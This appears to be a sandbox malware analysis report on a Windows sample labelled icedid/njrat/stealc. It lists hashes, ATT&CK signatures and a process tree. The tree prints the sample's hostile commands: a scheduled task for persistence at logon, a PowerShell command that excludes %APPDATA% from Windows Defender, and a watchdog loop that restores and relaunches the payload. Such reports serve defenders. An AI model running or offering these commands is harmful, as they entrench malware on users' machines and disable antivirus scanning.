0d74dfd84b88bb3bb57664e785a265c90702798d860d55d87e3d359d7cdc1ea8

Analysis

max time kernel
149s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 16:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-22_38e22adb6d1d133a49fff74bf2b22bad_icedid_njrat_stealc.exe
Size 5.6MB
Sample261024-typvescx3l
SHA256 0d74dfd84b88bb3bb57664e785a265c90702798d860d55d87e3d359d7cdc1ea8
MD5 38e22adb6d1d133a49fff74bf2b22bad
SHA1 4f3002c4772ddc331a1ac2ad4b923e0f96b7bd21
SHA512 d9155986df4e27f351ddd47b2822e990d58fab47e51f3af3e11b964b5e93ad591094e0d92d7207af7166263d491bd161e3b8a5a992b2a62faa449bb1406c89ad
SSDEEP 98304:e+hBp75lKkBoWGoqZ92yVG/uzGNV9HkAVHL/DKmFfCVQ42+SMWD:e+hBtOkhByQyVG/uzGNVyAl3K8fCGnbr
TLSH
T11156F16B726901E8E1BFD17CC9065907EBB2780543A0A7CF12E056A62F77BE14E3E711
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4444	powershell.exe
2972	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\International\Geo\Nation	2026-10-22_38e22adb6d1d133a49fff74bf2b22bad_icedid_njrat_stealc.exe

Executes dropped EXE 2 IoCs

pid	Process
1572	PeerService.exe
1256	PeerService.exe

Discovers running processes 1 TTPs 60 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2544	tasklist.exe
3264	tasklist.exe
2288	tasklist.exe
760	tasklist.exe
4812	tasklist.exe
2656	tasklist.exe
3516	tasklist.exe
4120	tasklist.exe
2592	tasklist.exe
2248	tasklist.exe
1992	tasklist.exe
4876	tasklist.exe
3960	tasklist.exe
808	tasklist.exe
2824	tasklist.exe
2620	tasklist.exe
1004	tasklist.exe
3828	tasklist.exe
5032	tasklist.exe
2532	tasklist.exe
3812	tasklist.exe
628	tasklist.exe
452	tasklist.exe
2964	tasklist.exe
3500	tasklist.exe
4072	tasklist.exe
3164	tasklist.exe
3436	tasklist.exe
4800	tasklist.exe
1852	tasklist.exe
2176	tasklist.exe
3080	tasklist.exe
1052	tasklist.exe
3664	tasklist.exe
2900	tasklist.exe
1756	tasklist.exe
2168	tasklist.exe
2288	tasklist.exe
1084	tasklist.exe
3736	tasklist.exe
2592	tasklist.exe
952	tasklist.exe
2044	tasklist.exe
2148	tasklist.exe
2944	tasklist.exe
2644	tasklist.exe
4752	tasklist.exe
3776	tasklist.exe
2272	tasklist.exe
3396	tasklist.exe
1644	tasklist.exe
760	tasklist.exe
5080	tasklist.exe
1380	tasklist.exe
4100	tasklist.exe
4508	tasklist.exe
4212	tasklist.exe
2512	tasklist.exe
1140	tasklist.exe
4152	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1996	cmd.exe
3372	cmd.exe
1880	cmd.exe
4604	cmd.exe
1412	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	PeerService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	PeerService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	PeerService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	PeerService.exe

Delays execution with timeout.exe 60 IoCs

defense_evasion

pid	Process
1344	timeout.exe
4016	timeout.exe
5084	timeout.exe
4196	timeout.exe
2656	timeout.exe
1388	timeout.exe
2500	timeout.exe
2524	timeout.exe
4336	timeout.exe
536	timeout.exe
620	timeout.exe
2464	timeout.exe
640	timeout.exe
5032	timeout.exe
816	timeout.exe
5108	timeout.exe
2964	timeout.exe
2608	timeout.exe
1652	timeout.exe
2592	timeout.exe
2972	timeout.exe
4500	timeout.exe
3000	timeout.exe
3204	timeout.exe
4952	timeout.exe
368	timeout.exe
1420	timeout.exe
2108	timeout.exe
1756	timeout.exe
432	timeout.exe
3240	timeout.exe
900	timeout.exe
3804	timeout.exe
2176	timeout.exe
1652	timeout.exe
3664	timeout.exe
1344	timeout.exe
2512	timeout.exe
3536	timeout.exe
4120	timeout.exe
2524	timeout.exe
3352	timeout.exe
3924	timeout.exe
4552	timeout.exe
3948	timeout.exe
952	timeout.exe
1136	timeout.exe
2076	timeout.exe
4044	timeout.exe
2688	timeout.exe
1728	timeout.exe
856	timeout.exe
4276	timeout.exe
3812	timeout.exe
2352	timeout.exe
2020	timeout.exe
3060	timeout.exe
4752	timeout.exe
4552	timeout.exe
4832	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2900	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4444	powershell.exe
4444	powershell.exe
2972	powershell.exe
2972	powershell.exe
2972	powershell.exe
4444	powershell.exe

Suspicious use of AdjustPrivilegeToken 62 IoCs

description	pid	Process
Token: SeDebugPrivilege	3828	tasklist.exe
Token: SeDebugPrivilege	4444	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	2620	tasklist.exe
Token: SeDebugPrivilege	1140	tasklist.exe
Token: SeDebugPrivilege	2176	tasklist.exe
Token: SeDebugPrivilege	4120	tasklist.exe
Token: SeDebugPrivilege	1756	tasklist.exe
Token: SeDebugPrivilege	2288	tasklist.exe
Token: SeDebugPrivilege	3776	tasklist.exe
Token: SeDebugPrivilege	452	tasklist.exe
Token: SeDebugPrivilege	4152	tasklist.exe
Token: SeDebugPrivilege	2964	tasklist.exe
Token: SeDebugPrivilege	1052	tasklist.exe
Token: SeDebugPrivilege	760	tasklist.exe
Token: SeDebugPrivilege	3664	tasklist.exe
Token: SeDebugPrivilege	3960	tasklist.exe
Token: SeDebugPrivilege	2272	tasklist.exe
Token: SeDebugPrivilege	5032	tasklist.exe
Token: SeDebugPrivilege	4812	tasklist.exe
Token: SeDebugPrivilege	4752	tasklist.exe
Token: SeDebugPrivilege	1992	tasklist.exe
Token: SeDebugPrivilege	2592	tasklist.exe
Token: SeDebugPrivilege	5080	tasklist.exe
Token: SeDebugPrivilege	3500	tasklist.exe
Token: SeDebugPrivilege	4508	tasklist.exe
Token: SeDebugPrivilege	2544	tasklist.exe
Token: SeDebugPrivilege	4212	tasklist.exe
Token: SeDebugPrivilege	952	tasklist.exe
Token: SeDebugPrivilege	3264	tasklist.exe
Token: SeDebugPrivilege	808	tasklist.exe
Token: SeDebugPrivilege	1084	tasklist.exe
Token: SeDebugPrivilege	2900	tasklist.exe
Token: SeDebugPrivilege	1380	tasklist.exe
Token: SeDebugPrivilege	3396	tasklist.exe
Token: SeDebugPrivilege	2824	tasklist.exe
Token: SeDebugPrivilege	4072	tasklist.exe
Token: SeDebugPrivilege	3164	tasklist.exe
Token: SeDebugPrivilege	2532	tasklist.exe
Token: SeDebugPrivilege	3436	tasklist.exe
Token: SeDebugPrivilege	4100	tasklist.exe
Token: SeDebugPrivilege	4800	tasklist.exe
Token: SeDebugPrivilege	2168	tasklist.exe
Token: SeDebugPrivilege	1852	tasklist.exe
Token: SeDebugPrivilege	4876	tasklist.exe
Token: SeDebugPrivilege	3812	tasklist.exe
Token: SeDebugPrivilege	1644	tasklist.exe
Token: SeDebugPrivilege	3736	tasklist.exe
Token: SeDebugPrivilege	2656	tasklist.exe
Token: SeDebugPrivilege	2044	tasklist.exe
Token: SeDebugPrivilege	2148	tasklist.exe
Token: SeDebugPrivilege	628	tasklist.exe
Token: SeDebugPrivilege	760	tasklist.exe
Token: SeDebugPrivilege	2248	tasklist.exe
Token: SeDebugPrivilege	3516	tasklist.exe
Token: SeDebugPrivilege	2288	tasklist.exe
Token: SeDebugPrivilege	2944	tasklist.exe
Token: SeDebugPrivilege	2644	tasklist.exe
Token: SeDebugPrivilege	2512	tasklist.exe
Token: SeDebugPrivilege	2592	tasklist.exe
Token: SeDebugPrivilege	3080	tasklist.exe
Token: SeDebugPrivilege	1004	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 548 wrote to memory of 1996	548	2026-10-22_38e22adb6d1d133a49fff74bf2b22bad_icedid_njrat_stealc.exe	88
PID 1996 wrote to memory of 2900	1996	cmd.exe	90
PID 548 wrote to memory of 1572	548	2026-10-22_38e22adb6d1d133a49fff74bf2b22bad_icedid_njrat_stealc.exe	91
PID 1572 wrote to memory of 1880	1572	PeerService.exe	93
PID 1572 wrote to memory of 3372	1572	PeerService.exe	94
PID 1880 wrote to memory of 4444	1880	cmd.exe	99
PID 3372 wrote to memory of 3828	3372	cmd.exe	100
PID 3372 wrote to memory of 4888	3372	cmd.exe	101
PID 1256 wrote to memory of 1412	1256	PeerService.exe	104
PID 1256 wrote to memory of 4604	1256	PeerService.exe	105
PID 1412 wrote to memory of 2972	1412	cmd.exe	108
PID 4604 wrote to memory of 2620	4604	cmd.exe	109
PID 4604 wrote to memory of 668	4604	cmd.exe	110
PID 4604 wrote to memory of 2656	4604	cmd.exe	111
PID 3372 wrote to memory of 3664	3372	cmd.exe	112
PID 3372 wrote to memory of 1140	3372	cmd.exe	116
PID 3372 wrote to memory of 4280	3372	cmd.exe	117
PID 4604 wrote to memory of 2176	4604	cmd.exe	118
PID 4604 wrote to memory of 2852	4604	cmd.exe	119
PID 3372 wrote to memory of 432	3372	cmd.exe	121
PID 4604 wrote to memory of 816	4604	cmd.exe	122
PID 4604 wrote to memory of 4120	4604	cmd.exe	125
PID 4604 wrote to memory of 1988	4604	cmd.exe	126
PID 3372 wrote to memory of 1756	3372	cmd.exe	127
PID 3372 wrote to memory of 2252	3372	cmd.exe	128
PID 4604 wrote to memory of 4752	4604	cmd.exe	129
PID 3372 wrote to memory of 856	3372	cmd.exe	130
PID 3372 wrote to memory of 2288	3372	cmd.exe	131
PID 3372 wrote to memory of 2944	3372	cmd.exe	132
PID 4604 wrote to memory of 3776	4604	cmd.exe	133
PID 4604 wrote to memory of 5084	4604	cmd.exe	134
PID 3372 wrote to memory of 1652	3372	cmd.exe	135
PID 4604 wrote to memory of 2592	4604	cmd.exe	136
PID 3372 wrote to memory of 452	3372	cmd.exe	137
PID 3372 wrote to memory of 4816	3372	cmd.exe	138
PID 4604 wrote to memory of 4152	4604	cmd.exe	139
PID 4604 wrote to memory of 1284	4604	cmd.exe	140
PID 3372 wrote to memory of 4044	3372	cmd.exe	141
PID 4604 wrote to memory of 5108	4604	cmd.exe	142
PID 3372 wrote to memory of 2964	3372	cmd.exe	143
PID 3372 wrote to memory of 1028	3372	cmd.exe	144
PID 4604 wrote to memory of 1052	4604	cmd.exe	145
PID 4604 wrote to memory of 3248	4604	cmd.exe	146
PID 3372 wrote to memory of 536	3372	cmd.exe	147
PID 4604 wrote to memory of 2972	4604	cmd.exe	148
PID 3372 wrote to memory of 760	3372	cmd.exe	150
PID 3372 wrote to memory of 1696	3372	cmd.exe	151
PID 4604 wrote to memory of 3664	4604	cmd.exe	152
PID 4604 wrote to memory of 2656	4604	cmd.exe	153
PID 3372 wrote to memory of 2176	3372	cmd.exe	155
PID 4604 wrote to memory of 4500	4604	cmd.exe	156
PID 4604 wrote to memory of 3960	4604	cmd.exe	157
PID 4604 wrote to memory of 5112	4604	cmd.exe	158
PID 3372 wrote to memory of 2272	3372	cmd.exe	159
PID 3372 wrote to memory of 860	3372	cmd.exe	160
PID 4604 wrote to memory of 2608	4604	cmd.exe	161
PID 3372 wrote to memory of 1344	3372	cmd.exe	162
PID 3372 wrote to memory of 5032	3372	cmd.exe	163
PID 3372 wrote to memory of 2224	3372	cmd.exe	164
PID 4604 wrote to memory of 4812	4604	cmd.exe	165
PID 4604 wrote to memory of 3076	4604	cmd.exe	166
PID 3372 wrote to memory of 4552	3372	cmd.exe	167
PID 4604 wrote to memory of 4276	4604	cmd.exe	168
PID 4604 wrote to memory of 4752	4604	cmd.exe	169

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-22_38e22adb6d1d133a49fff74bf2b22bad_icedid_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-22_38e22adb6d1d133a49fff74bf2b22bad_icedid_njrat_stealc.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2900
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:1572
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4444
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3372
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3828
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4888
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3664
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1140
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4280
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:432
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1756
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2252
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:856
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2288
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2944
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1652
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:452
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4816
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4044
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2964
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1028
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:536
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:760
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1696
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2176
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2272
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:860
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1344
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5032
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2224
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4552
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1992
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4704
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1652
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5080
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:452
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2512
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3500
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1152
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3924
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4212
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2876
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1388
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3264
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4028
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1728
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1084
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1048
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2352
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2900
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5112
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3204
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2824
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1136
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4552
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4072
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4016
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3948
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2532
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3324
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2524
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4800
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2628
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:368
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2168
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3304
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1420
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3812
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5036
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:952
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3736
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5024
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2688
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2044
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1672
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:620
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:628
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:816
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1756
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2248
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:856
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5032
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2288
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:640
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5084
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2944
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:888
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4196
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2512
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3984
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3060
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1004
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5052
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2464

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:1256
- C:\Windows\system32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2972
- C:\Windows\system32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4604
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2620
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:668
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2656
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2176
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2852
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:816
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4120
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1988
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4752
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3776
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5084
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2592
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4152
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1284
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5108
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1052
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3248
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2972
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3664
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2656
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4500
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3960
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5112
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2608
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4812
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3076
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
